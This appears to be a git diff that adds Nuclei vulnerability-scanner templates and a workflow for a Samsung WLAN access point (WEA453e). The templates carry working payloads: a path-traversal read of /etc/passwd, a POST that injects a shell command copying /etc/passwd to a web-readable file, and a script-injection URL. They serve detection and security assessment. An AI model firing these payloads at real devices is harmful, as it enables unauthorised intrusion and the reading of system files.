diff --git a/vulnerabilities/samsung/samsung-wlan-ap-lfi.yaml b/vulnerabilities/samsung/samsung-wlan-ap-lfi.yaml new file mode 100644 index 0000000000..7194cb591b --- /dev/null +++ b/vulnerabilities/samsung/samsung-wlan-ap-lfi.yaml @@ -0,0 +1,24 @@ +id: samsung-wlan-ap-lfi + +info: + name: Samsung Wlan AP (WEA453e) LFI + author: pikpikcu + severity: critical + reference: https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ + tags: xss,samsung,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/(download)/etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[0*]:0:0" + - "bin:[x]:1:1" + part: body + - type: status + status: + - 200 diff --git a/vulnerabilities/samsung/samsung-wlan-ap-rce.yaml b/vulnerabilities/samsung/samsung-wlan-ap-rce.yaml new file mode 100644 index 0000000000..e39424359d --- /dev/null +++ b/vulnerabilities/samsung/samsung-wlan-ap-rce.yaml @@ -0,0 +1,25 @@ +id: samsung-wlan-ap-rce + +info: + name: Samsung Wlan AP (WEA453e) RCE + author: pikpikcu + severity: critical + reference: https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ + tags: xss,samsung,rce + +requests: + - method: POST + path: + - "{{BaseURL}}/(download)/tmp/poc.txt" + body: "command1=shell%3Acat /etc/passwd|dd of=/tmp/poc.txt" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[0*]:0:0" + - "bin:[x]:1:1" + part: body + - type: status + status: + - 200 diff --git a/vulnerabilities/samsung/samsung-wlan-ap-xss.yaml b/vulnerabilities/samsung/samsung-wlan-ap-xss.yaml new file mode 100644 index 0000000000..bf1fbf958a --- /dev/null +++ b/vulnerabilities/samsung/samsung-wlan-ap-xss.yaml @@ -0,0 +1,28 @@ +id: samsung-wlan-ap-xss + +info: + name: Samsung Wlan AP (WEA453e) XSS + author: pikpikcu + severity: medium + reference: https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ + tags: xss,samsung,xss +requests: + - method: GET + path: + - "{{BaseURL}}/%3Cscript%3Ealert(document.domain)%3C/script%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "/tmp/www/" + part: body + + - type: status + status: + - 404 + + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/workflows/samsung-wlan-ap-workflow.yaml b/workflows/samsung-wlan-ap-workflow.yaml new file mode 100644 index 0000000000..6216c25d63 --- /dev/null +++ b/workflows/samsung-wlan-ap-workflow.yaml @@ -0,0 +1,15 @@ +id: samsung-wlan-ap-workflow + +info: + name: Samsung Wlan AP (WEA453e) Checks + author: pikpikcu + description: A simple workflow that runs all samsung WlanAP related nuclei templates on a given target. + +workflows: + + - template: default-logins/samsung/samsung-wlan-ap-default-credentials.yaml + + subtemplates: + - template: vulnerabilities/samsung/samsung-wlan-ap-rce.yaml + - template: vulnerabilities/samsung/samsung-wlan-ap-lfi.yaml + - template: vulnerabilities/samsung/samsung-wlan-ap-xss.yaml